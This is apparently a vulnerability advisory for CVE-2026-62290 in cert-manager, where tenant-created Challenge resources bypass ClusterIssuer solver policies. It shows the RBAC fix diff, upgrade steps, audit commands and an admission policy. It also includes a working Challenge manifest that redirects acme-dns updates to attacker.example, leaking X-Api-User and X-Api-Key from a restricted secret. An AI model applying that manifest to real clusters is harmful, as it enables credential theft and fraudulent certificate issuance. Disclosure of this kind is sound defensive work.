CVE-2026-62290: ClusterIssuer DNS01 Solver Policy Bypass and Credential Exfiltration in cert-manager

cert-manager is a native Kubernetes certificate management controller that automates the issuance and renewal of TLS certificates from various issuing sources, including ACME providers such as Let's Encrypt. In a standard multi-tenant Kubernetes architecture, platform administrators configure cluster-wide ClusterIssuer resources backed by privileged cloud DNS credentials or secret tokens stored in a restricted namespace (typically cert-manager). Tenant users request certificates within their respective namespaces by creating Certificate or CertificateRequest resources.

Under normal operation, the cert-manager controllers translate a Certificate into an Order (acme.cert-manager.io/v1) and subsequently into one or more Challenge (acme.cert-manager.io/v1) resources. During this orchestration, the Order controller evaluates the solver selector policies defined on the target ClusterIssuer—such as dnsZones, dnsNames, or matchLabels—to ensure the tenant is only permitted to solve challenges for authorized domains using the administrator-defined DNS provider configuration.

CVE-2026-62290 (GHSA-8rvj-mm4h-c258) stems from an incorrect authorization defect (CWE-863) in how cert-manager handles the lifecycle and RBAC permissions of Challenge custom resources. Prior to versions v1.19.6 and v1.20.3, the default Helm chart granted create permissions on challenges.acme.cert-manager.io to the standard Kubernetes aggregate edit ClusterRole. Because the ACME challenge controller reconciles standalone Challenge objects without verifying that they were instantiated by a legitimate Order or validating their embedded spec.solver configuration against the referenced ClusterIssuer, any namespace user with edit permissions can bypass solver selector restrictions and force the controller to execute arbitrary DNS01 solver actions using cluster-scoped credentials.

The root cause of CVE-2026-62290 is an architectural trust mismatch across three distinct components of cert-manager: the default RBAC aggregation rules, the validating admission webhook, and the ACME challenge reconciliation loop.

First, the Challenge custom resource definition (deploy/crds/acme.cert-manager.io_challenges.yaml) exposes spec.solver and spec.issuerRef as directly writable fields in the resource specification. In the standard workflow, the Order controller (pkg/controller/acmeorders/util.go and pkg/util/solverpicker/solverpicker.go) evaluates the ClusterIssuer selector policy and copies the matching solver configuration into Challenge.spec.solver. However, deploy/charts/cert-manager/templates/rbac.yaml aggregated create permissions for challenges and orders into the default edit role, allowing regular namespace users to create Challenge resources directly.

Second, the validating admission webhook in internal/apis/acme/validation/challenge.go (specifically ValidateChallenge at lines 44–45) performs no validation on creation to verify that a Challenge resource is owned by a valid Order controller flow, nor does it check that the user-supplied Challenge.spec.solver matches a solver configured on the referenced Issuer or ClusterIssuer.

Third, when the challenge scheduler (pkg/controller/acmechallenges/scheduler/scheduler.go:51-58) and controller (pkg/controller/acmechallenges/sync.go:139-183) reconcile a Challenge, they determine the credential boundary purely from Challenge.spec.issuerRef. As implemented in pkg/controller/helper.go:39-44, 66-72, if spec.issuerRef.kind is set to ClusterIssuer, the controller sets the secret lookup namespace to the privileged cluster resource namespace (e.g., cert-manager) and enables ambient cloud credentials (such as AWS IRSA or GCP Workload Identity). Simultaneously, the DNS solver presentation logic (pkg/issuer/acme/dns/dns.go:81, 180-187) reads the DNS provider parameters—including custom API endpoints and secret references—directly from the untrusted Challenge.spec.solver field.

The vulnerability spans the interaction between the controller's solver execution path and the RBAC permissions granted to namespace users. When pkg/issuer/acme/dns/dns.go executes the Present method for a DNS01 challenge, it extracts the solver configuration from the Challenge object (ch.Spec.Solver.DNS01) while resolving referenced secrets from the namespace dictated by the Issuer or ClusterIssuer.

To remediate this issue in v1.19.6 (commit b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16) and v1.20.3 (commit 6bda47297c8fbc6b121b8b76624b668d26f1a155), the cert-manager maintainers modified the Helm chart RBAC template (deploy/charts/cert-manager/templates/rbac.yaml) to remove the create verb for challenges and create, patch, and update verbs for orders from the cert-manager-edit ClusterRole.

@@ -514,9 +514,23 @@ rules:
   - apiGroups: ["cert-manager.io"]
     resources: ["certificates/status"]
     verbs: ["update"]
+  {{- /*
+    Challenge and Order resources are not intended to be created or
+    modified directly by users.
+
+    Challenges: "create" is excluded. "patch" and "update" are retained
+    because spec is immutable after creation (ValidateChallengeUpdate)
+    and because users need them to remove stuck finalizers
+    (see cert-manager/cert-manager#3851, cert-manager/cert-manager#3870).
+
+    Orders: "create", "patch", and "update" are excluded.
+  */}}
   - apiGroups: ["acme.cert-manager.io"]
-    resources: ["challenges", "orders"]
-    verbs: ["create", "delete", "deletecollection", "patch", "update"]
+    resources: ["challenges"]
+    verbs: ["delete", "deletecollection", "patch", "update"]
+  - apiGroups: ["acme.cert-manager.io"]
+    resources: ["orders"]
+    verbs: ["delete", "deletecollection"]

> [!IMPORTANT] > Fix Completeness Assessment: The upstream patch addresses the vulnerability solely through RBAC restriction rather than modifying the controller reconciliation logic or admission webhook validation. Notice that patch and update verbs are intentionally retained on challenges so users can remove stuck finalizers from existing Challenge objects. This relies on ValidateChallengeUpdate in the validating admission webhook to enforce immutability on Challenge.spec after creation.

Because the underlying controller in pkg/controller/acmechallenges still trusts Challenge.spec.solver unconditionally, two residual risk conditions remain after upgrading:

1. Custom RBAC Policies: Any cluster with custom Role or ClusterRole definitions that explicitly grant create on challenges.acme.cert-manager.io (or wildcard * on acme.cert-manager.io) to untrusted users remains exploitable.
2. Webhook Misconfiguration: If the cert-manager validating webhook is disabled or fails open (failurePolicy: Ignore), an attacker who holds patch or update permissions on an existing Challenge resource could mutate Challenge.spec.solver prior to reconciliation.

Exploitation requires a low-privileged Kubernetes principal with permission to create challenges.acme.cert-manager.io in any namespace, alongside an active ClusterIssuer configured for DNS01 challenges. Depending on the DNS provider architecture used by the cluster, an attacker can achieve either direct credential exfiltration or unauthorized DNS record manipulation.

Scenario 1: Credential Exfiltration via acme-dns Redirection

When a ClusterIssuer uses acme-dns (or another webhook/HTTP-based DNS provider that supports a configurable host URL), it stores account credentials in a Secret within the cert-manager namespace. An attacker can craft a standalone Challenge referencing the ClusterIssuer and the secret name (cluster-acmedns-account), while overriding spec.solver.dns01.acmeDNS.host to point to an attacker-controlled server.

apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
  name: direct-dns01
  namespace: tenant
spec:
  authorizationURL: https://attacker.example/acme/authz/1
  dnsName: victim.example.com
  issuerRef:
    group: cert-manager.io
    kind: ClusterIssuer
    name: cluster-prod
  key: attacker-key
  token: attacker-token
  type: DNS-01
  url: https://attacker.example/acme/chal/1
  solver:
    dns01:
      acmeDNS:
        host: https://attacker.example/acmedns
        accountSecretRef:
          name: cluster-acmedns-account
          key: accounts.json

When the ACME challenge controller reconciles this Challenge, it loads cluster-acmedns-account from the cert-manager namespace, parses accounts.json for the matching victim.example.com domain key, and sends an HTTP POST request to https://attacker.example/acmedns/update. The request headers include X-Api-User and X-Api-Key populated directly from the restricted secret.

Scenario 2: Solver Policy Bypass & Unauthorized DNS Mutation

When a ClusterIssuer uses cloud DNS providers (such as AWS Route53, Google Cloud DNS, Azure DNS, or Cloudflare) backed by ambient IAM credentials (e.g., AWS IRSA) or stored API tokens, administrators often restrict which domains tenants can request by configuring selector.dnsZones on the ClusterIssuer. By submitting a direct Challenge resource with spec.dnsName set to a restricted domain and spec.solver.dns01 configured for the cloud provider, the attacker completely bypasses the Order controller's solverpicker evaluation. The challenge controller uses its ambient IAM role or cluster secret to create _acme-challenge.<dnsName> TXT records containing the attacker-specified spec.key in the target hosted zone, allowing the attacker to complete out-of-band ACME challenges for unauthorized domains.

CVE-2026-62290 carries a CVSS v3.1 base score of 7.3 (High) with the vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N. The Scope is Changed (S:C) because a vulnerability in the Kubernetes namespace-scoped RBAC and controller boundary allows a tenant user to compromise credentials and DNS zones managed at the cluster and external cloud infrastructure levels.

• Confidentiality Impact (High): Attackers can read and exfiltrate sensitive DNS provider credentials stored in the privileged cert-manager namespace (such as acme-dns credentials or API keys sent to custom solver endpoints) that are otherwise inaccessible to tenant service accounts or users.
• Integrity Impact (Low): Attackers can bypass domain restriction policies (dnsZones / dnsNames selectors) on ClusterIssuer resources to create arbitrary _acme-challenge TXT records in DNS zones controlled by the cert-manager instance's stored or ambient cloud credentials. This allows the attacker to fraudulently satisfy ACME DNS-01 challenges with an external ACME server and obtain valid TLS certificates for unauthorized domains.
• Availability Impact (None): The vulnerability does not provide a direct mechanism to disrupt cluster availability or delete arbitrary non-challenge DNS records.

According to FIRST EPSS metrics, the vulnerability currently has an exploitation probability score of 0.00112 (0.11%, ~1.35th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Single-tenant clusters where all users with namespace edit privileges are already trusted with cluster-wide DNS credentials are unaffected by this boundary bypass.

Official Upgrade Path

Cluster administrators should upgrade cert-manager to the patched maintenance releases that remove create permissions on Challenge and Order resources from the default aggregate edit ClusterRole:

• For 1.18.x and 1.19.x series: Upgrade to v1.19.6 or later.
• For 1.20.x series: Upgrade to v1.20.3 or later.

Manual RBAC Auditing & Workarounds

If an immediate upgrade is not feasible, administrators can manually patch the cert-manager-edit ClusterRole to remove the create verb on challenges and orders:

kubectl patch clusterrole cert-manager-edit --type='json' -p='[
  {"op": "replace", "path": "/rules/1/resources", "value": ["challenges"]},
  {"op": "replace", "path": "/rules/1/verbs", "value": ["delete", "deletecollection", "patch", "update"]},
  {"op": "add", "path": "/rules/-", "value": {"apiGroups": ["acme.cert-manager.io"], "resources": ["orders"], "verbs": ["delete", "deletecollection"]}}
]'

Additionally, because upgrading cert-manager only fixes the default Helm chart RBAC templates, all administrators should audit their clusters for custom Role and ClusterRole objects that grant create or * verbs on challenges.acme.cert-manager.io:

kubectl get roles,clusterroles -A -o json | jq -r '
  .items[] | select(.rules[]? | select((.resources[]? == "challenges" or .resources[]? == "*") and (.apiGroups[]? == "acme.cert-manager.io" or .apiGroups[]? == "*") and (.verbs[]? == "create" or .verbs[]? == "*"))) | "\(.kind)/\(.metadata.namespace // "cluster-scoped")/\(.metadata.name)"
'

Defense-in-Depth via ValidatingAdmissionPolicy

To eliminate the underlying architectural trust issue where the controller reconciles standalone Challenge objects created outside the Order controller workflow, administrators on Kubernetes 1.30+ can deploy a ValidatingAdmissionPolicy (or an equivalent Kyverno/Gatekeeper policy) restricting Challenge creation exclusively to the cert-manager controller service account:

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: restrict-acme-challenge-creation
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
    - apiGroups: ["acme.cert-manager.io"]
      apiVersions: ["v1"]
      operations: ["CREATE"]
      resources: ["challenges"]
  validations:
  - expression: "request.userInfo.username == 'system:serviceaccount:cert-manager:cert-manager'"
    message: "Direct creation of ACME Challenge resources is restricted to the cert-manager controller."
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: restrict-acme-challenge-creation-binding
spec:
  policyName: restrict-acme-challenge-creation
  validationActions: [Deny]